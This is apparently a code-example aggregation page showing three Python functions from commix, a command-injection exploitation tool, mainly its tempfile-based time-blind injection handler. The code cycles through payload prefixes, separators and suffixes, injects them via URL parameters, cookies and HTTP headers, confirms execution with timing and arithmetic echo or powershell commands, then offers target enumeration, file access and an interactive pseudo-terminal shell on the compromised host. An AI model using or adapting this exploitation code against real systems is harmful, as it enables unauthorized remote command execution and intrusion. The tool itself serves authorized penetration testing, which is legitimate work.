コード例 #1
0
ファイル: tb_injector.py プロジェクト: russ168/commix
def export_injection_results(cmd, separator, output, check_how_long):

  if output != "" and check_how_long != 0 :
    if settings.VERBOSITY_LEVEL == 0:
      print("\n")
    elif settings.VERBOSITY_LEVEL == 1:
      print("")  
    print(settings.print_output(output))
    info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "."
    sys.stdout.write("\n" + settings.print_info_msg(info_msg))
  else:
    # Check if exists pipe filtration.
    if output != False :
      err_msg = "It appears that '" + cmd + "' command could not return " 
      err_msg += "any output due to '" + separator + "' filtration on target host. "
      err_msg += "To bypass that limitation, use the '--alter-shell' option "
      err_msg += "or try another injection technique (i.e. '--technique=\"f\"')"
      print("\n" + settings.print_critical_msg(err_msg))
      raise SystemExit()
    # Check for fault command.
    else:
      err_msg = "The '" + cmd + "' command, does not return any output."
      if settings.VERBOSITY_LEVEL == 0:
        print("")
      sys.stdout.write("\r" + settings.print_critical_msg(err_msg))
# eof
コード例 #2
0
def export_injection_results(cmd, separator, output, check_how_long):
  if output != "" and check_how_long != 0 :
    if settings.VERBOSITY_LEVEL == 0:
      print("\n")
    elif settings.VERBOSITY_LEVEL == 1:
      print("")  
    print(settings.print_output(output))
    info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long))
    sys.stdout.write("\n" + settings.print_info_msg(info_msg))
    if not menu.options.os_cmd:
      print("")
  else:
    err_msg = "The '" + cmd + "' command, does not return any output."
    if settings.VERBOSITY_LEVEL == 0:
      print("") 
    sys.stdout.write("\r" + settings.print_info_msg(err_msg) + "\n") 
# eof
コード例 #3
0
ファイル: tfb_handler.py プロジェクト: security-geeks/commix
def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response):

  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  possibly_vulnerable = False
  false_positive_warning = False
  export_injection_info = False
  how_long = 0
  injection_type = "semi-blind command injection"
  technique = "tempfile-based injection technique"

  if settings.TIME_RELATIVE_ATTACK == False: 
    warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions."
    print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
    settings.TIME_RELATIVE_ATTACK = None

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    err_msg = "The '--url-reload' option is not available in " + technique + "!"
    print(settings.print_critical_msg(err_msg))

  if not settings.LOAD_SESSION: 
    # Change TAG on every request to prevent false-positive resutls.
    TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) 

  if settings.VERBOSITY_LEVEL != 0:
    info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
    print(settings.print_info_msg(info_msg))

  #whitespace = checks.check_whitespaces()
  # Calculate all possible combinations
  total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  for whitespace in settings.WHITESPACES:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          how_long_statistic = []
          if settings.LOAD_SESSION:
            try:
              settings.TEMPFILE_BASED_STATE = True 
              cmd = shell = ""
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
              settings.FOUND_HOW_LONG = how_long
              settings.FOUND_DIFF = how_long - timesec
              OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print(settings.print_critical_msg(err_msg))
              raise SystemExit()

          else:
            num_of_chars = num_of_chars + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # The output file for file-based injection technique.
            OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
            alter_shell = menu.options.alter_shell
            tag_length = len(TAG) + 4
            
            for output_length in range(1, int(tag_length)):
              try:
                # Tempfile-based decision payload (check if host is vulnerable).
                if alter_shell :
                  payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
                else:
                  payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)

                # Fix prefixes / suffixes
                payload = parameters.prefixes(payload, prefix)
                payload = parameters.suffixes(payload, suffix)

                # Whitespace fixation
                payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
                
                # Perform payload modification
                payload = checks.perform_payload_modification(payload)

                # Check if defined "--verbose" option.
                if settings.VERBOSITY_LEVEL == 1:
                  payload_msg = payload.replace("\n", "\\n")
                  print(settings.print_payload(payload_msg))
                elif settings.VERBOSITY_LEVEL >= 2:
                  debug_msg = "Generating payload for the injection."
                  print(settings.print_debug_msg(debug_msg))
                  print(settings.print_payload(payload)) 
                  
                # Cookie header injection
                if settings.COOKIE_INJECTION == True:
                  # Check if target host is vulnerable to cookie header injection.
                  vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                  how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
                  
                # User-Agent HTTP header injection
                elif settings.USER_AGENT_INJECTION == True:
                  # Check if target host is vulnerable to user-agent HTTP header injection.
                  vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                  how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)

                # Referer HTTP header injection
                elif settings.REFERER_INJECTION == True:
                  # Check if target host is vulnerable to referer HTTP header injection.
                  vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                  how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)

                # Host HTTP header injection
                elif settings.HOST_INJECTION == True:
                  # Check if target host is vulnerable to host HTTP header injection.
                  vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                  how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload)

                # Custom HTTP header injection
                elif settings.CUSTOM_HEADER_INJECTION == True:
                  # Check if target host is vulnerable to custom HTTP header injection.
                  vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                  how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)

                else:
                  # Check if target host is vulnerable.
                  how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)

                # Statistical analysis in time responses.
                how_long_statistic.append(how_long)

                # Injection percentage calculation
                percent = ((num_of_chars * 100) / total)
                float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))

                if percent == 100 and no_result == True:
                  if settings.VERBOSITY_LEVEL == 0:
                    percent = settings.FAIL_STATUS
                  else:
                    percent = ""
                else:
                  if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                     (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                     (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

                    # Time relative false positive fixation.
                    false_positive_fixation = False
                    if len(TAG) == output_length:

                      # Simple statical analysis
                      statistical_anomaly = True
                      if len(set(how_long_statistic[0:5])) == 1:
                        if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
                          statistical_anomaly = False
                          how_long_statistic = []  

                      if timesec <= how_long and not statistical_anomaly:
                        false_positive_fixation = True
                      else:
                        false_positive_warning = True

                    # Identified false positive warning message.
                    if false_positive_warning:
                      warn_msg = "Unexpected time delays have been identified due to unstable "
                      warn_msg += "requests. This behavior may lead to false-positive results.\n"
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      while True:
                        if not menu.options.batch:
                          question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
                          proceed_option = _input(settings.print_question_msg(question_msg))
                        else:
                          proceed_option = ""  
                        if len(proceed_option) == 0:
                           proceed_option = "c"
                        if proceed_option.lower() in settings.CHOICE_PROCEED :
                          if proceed_option.lower() == "s":
                            false_positive_fixation = False
                            raise
                          elif proceed_option.lower() == "c":
                            timesec = timesec + 1
                            false_positive_fixation = True
                            break
                          elif proceed_option.lower() == "q":
                            raise SystemExit()
                        else:
                          err_msg = "'" + proceed_option + "' is not a valid answer."
                          print(settings.print_error_msg(err_msg))
                          pass

                    if settings.VERBOSITY_LEVEL == 0:
                      percent = ".. (" + str(float_percent) + "%)"
                      info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()

                    # Check if false positive fixation is True.
                    if false_positive_fixation:
                      false_positive_fixation = False
                      settings.FOUND_HOW_LONG = how_long
                      settings.FOUND_DIFF = how_long - timesec
                      if false_positive_warning:
                        time.sleep(1)
                      randv1 = random.randrange(0, 4)
                      randv2 = random.randrange(1, 5)
                      randvcalc = randv1 + randv2

                      if settings.TARGET_OS == "win":
                        if alter_shell:
                          cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
                        else:
                          cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
                      else:
                        cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))"

                      # Set the original delay time
                      original_how_long = how_long
                      
                      # Check for false positive resutls
                      how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)

                      if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                         (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                         (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
                        
                        if str(output) == str(randvcalc) and len(TAG) == output_length:
                          possibly_vulnerable = True
                          how_long_statistic = 0
                          if settings.VERBOSITY_LEVEL == 0:
                            percent = settings.info_msg
                          else:
                            percent = ""
                          #break  
                      else:
                        break
                    # False positive
                    else:
                      if settings.VERBOSITY_LEVEL == 0:
                        percent = ".. (" + str(float_percent) + "%)"
                        info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                        sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                        sys.stdout.flush()
                      continue    
                  else:
                    if settings.VERBOSITY_LEVEL == 0:
                      percent = ".. (" + str(float_percent) + "%)"
                      info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    continue
                if settings.VERBOSITY_LEVEL == 0:
                  info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                  sys.stdout.flush()
                  
              except KeyboardInterrupt: 
                if settings.VERBOSITY_LEVEL != 0:
                  print(settings.SINGLE_WHITESPACE)
                if 'cmd' in locals():
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise

              except SystemExit:
                if 'cmd' in locals():
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise

              except EOFError:
                err_msg = "Exiting, due to EOFError."
                print(settings.print_error_msg(err_msg))
                if 'cmd' in locals():
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise 

              except:
                percent = ((num_of_chars * 100) / total)
                float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
                if str(float_percent) == "100.0":
                  if no_result == True:
                    if settings.VERBOSITY_LEVEL == 0:
                      percent = settings.FAIL_STATUS
                      info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    else:
                      percent = ""
                  else:
                    percent = ".. (" + str(float_percent) + "%)"
                    print(settings.SINGLE_WHITESPACE)
                    # Print logs notification message
                    logs.logs_notification(filename)
                  #raise
                else:
                  percent = ".. (" + str(float_percent) + "%)"
              break
          # Yaw, got shellz! 
          # Do some magic tricks!
          if (url_time_response == 0 and (how_long - timesec) >= 0) or \
             (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
             (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

            if (len(TAG) == output_length) and \
               (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):

              found = True
              no_result = False
              # Check injection state
              settings.DETECTION_PHASE = False
              settings.EXPLOITATION_PHASE = True
              if settings.LOAD_SESSION:
                if whitespace == "%20":
                  whitespace = " "
                possibly_vulnerable = False

              if settings.COOKIE_INJECTION == True: 
                header_name = " cookie"
                found_vuln_parameter = vuln_parameter
                the_type = " parameter"

              elif settings.USER_AGENT_INJECTION == True: 
                header_name = " User-Agent"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.REFERER_INJECTION == True: 
                header_name = " Referer"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.HOST_INJECTION == True: 
                header_name = " Host"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.CUSTOM_HEADER_INJECTION == True: 
                header_name = " " + settings.CUSTOM_HEADER_NAME
                found_vuln_parameter = ""
                the_type = " HTTP header"

              else:
                header_name = ""
                the_type = " parameter"
                if http_request_method != settings.HTTPMETHOD.POST:
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              if len(found_vuln_parameter) != 0 :
                found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
              logs.update_payload(filename, counter, payload) 
              counter = counter + 1

              if not settings.LOAD_SESSION:
                if settings.VERBOSITY_LEVEL == 0:
                  print(settings.SINGLE_WHITESPACE)
                else:
                  checks.total_of_requests()

              # Print the findings to terminal.
              info_msg = "The"
              if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
                info_msg += " " + http_request_method 
              info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
              info_msg += found_vuln_parameter + " seems injectable via "
              info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
              print(settings.print_bold_info_msg(info_msg))
              sub_content = str(checks.url_decode(payload))
              print(settings.print_sub_content(sub_content))
              # Export session
              if not settings.LOAD_SESSION:
                shell = ""
                session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
                #possibly_vulnerable = False
              else:
                settings.LOAD_SESSION = False 
                
              # Delete previous shell (text) files (output) from temp.
              delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)  
              if settings.TARGET_OS == "win":
                time.sleep(1)
              
              new_line = False  
              # Check for any enumeration options.
              if settings.ENUMERATION_DONE == True :
                while True:
                  if not menu.options.batch:
                    question_msg = "Do you want to enumerate again? [Y/n] > "
                    enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
                  else:
                    enumerate_again = ""
                  if len(enumerate_again) == 0:
                    enumerate_again = "Y"
                  if enumerate_again in settings.CHOICE_YES:
                    tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                    print(settings.SINGLE_WHITESPACE)
                    break
                  elif enumerate_again in settings.CHOICE_NO: 
                    new_line = True
                    break
                  elif enumerate_again in settings.CHOICE_QUIT:
                    # Delete previous shell (text) files (output) from temp.
                    delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)    
                    raise SystemExit()
                  else:
                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                    print(settings.print_error_msg(err_msg))
                    pass
              else:
                if menu.enumeration_options():
                  tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                  print(settings.SINGLE_WHITESPACE)

              # Check for any system file access options.
              if settings.FILE_ACCESS_DONE == True :
                print(settings.SINGLE_WHITESPACE)
                while True:
                  if not menu.options.batch:
                    question_msg = "Do you want to access files again? [Y/n] > "
                    file_access_again = _input(settings.print_question_msg(question_msg))
                  else:
                    file_access_again = ""
                  if len(file_access_again) == 0:
                    file_access_again = "Y"
                  if file_access_again in settings.CHOICE_YES:
                    tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                    break
                  elif file_access_again in settings.CHOICE_NO: 
                    if not new_line:
                      new_line = True
                    break
                  elif file_access_again in settings.CHOICE_QUIT:
                    # Delete previous shell (text) files (output) from temp.
                    delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                    raise SystemExit()
                  else:
                    err_msg = "'" + file_access_again + "' is not a valid answer."  
                    print(settings.print_error_msg(err_msg))
                    pass
              else:
                # if not menu.enumeration_options() and not menu.options.os_cmd:
                #   print(settings.SINGLE_WHITESPACE)
                tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
              
              # Check if defined single cmd.
              if menu.options.os_cmd:
                check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                # Export injection result
                tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
                # Delete previous shell (text) files (output) from temp.
                if settings.VERBOSITY_LEVEL != 0:
                  print(settings.SINGLE_WHITESPACE)
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                logs.print_logs_notification(filename, url) 
                raise SystemExit()  

              if settings.VERBOSITY_LEVEL != 0 or not new_line:
                print(settings.SINGLE_WHITESPACE)
              try:    
                # Pseudo-Terminal shell
                go_back = False
                go_back_again = False
                while True:
                  if go_back == True:
                    break
                  if not menu.options.batch:
                    question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                    gotshell = _input(settings.print_question_msg(question_msg))
                  else:
                    gotshell = ""
                  if len(gotshell) == 0:
                     gotshell = "Y"
                  if gotshell in settings.CHOICE_YES:
                    # if not menu.options.batch:
                    #   print(settings.SINGLE_WHITESPACE)
                    print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
                    if settings.READLINE_ERROR:
                      checks.no_readline_module()
                    while True:
                      if false_positive_warning:
                        warn_msg = "Due to unexpected time delays, it is highly "
                        warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
                        sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                        false_positive_warning = False
                      if not settings.READLINE_ERROR:
                        checks.tab_autocompleter()
                      cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                      cmd = checks.escaped_cmd(cmd)
                      if cmd.lower() in settings.SHELL_OPTIONS:
                        go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                        if go_back and go_back_again == False:
                          break
                        if go_back and go_back_again:
                          return True 
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # The main command injection exploitation.
                        check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                        # Export injection result
                        tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, output, vuln_parameter)
                      else:
                        output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, output)
                        print("\n" + settings.print_output(output) + "\n")
                      # Update logs with executed cmds and execution results.
                      logs.executed_command(filename, cmd, output)

                  elif gotshell in settings.CHOICE_NO:
                    if checks.next_attack_vector(technique, go_back) == True:
                      break
                    else:
                      if no_result == True:
                        return False 
                      else:
                        # Delete previous shell (text) files (output) from temp.
                        delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                        return True  
                  elif gotshell in settings.CHOICE_QUIT:
                    # Delete previous shell (text) files (output) from temp.
                    delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                    raise SystemExit()
                  else:
                    err_msg = "'" + gotshell + "' is not a valid answer."  
                    print(settings.print_error_msg(err_msg))
                    pass

              except KeyboardInterrupt:
                if settings.VERBOSITY_LEVEL != 0:
                  print(settings.SINGLE_WHITESPACE)
                # Delete previous shell (text) files (output) from temp.
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise  

              except SystemExit: 
                # Delete previous shell (text) files (output) from temp.
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise 
  
              except EOFError:
                err_msg = "Exiting, due to EOFError."
                print(settings.print_error_msg(err_msg))
                # Delete previous shell (text) files (output) from temp.
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise 

  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print(settings.SINGLE_WHITESPACE)
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()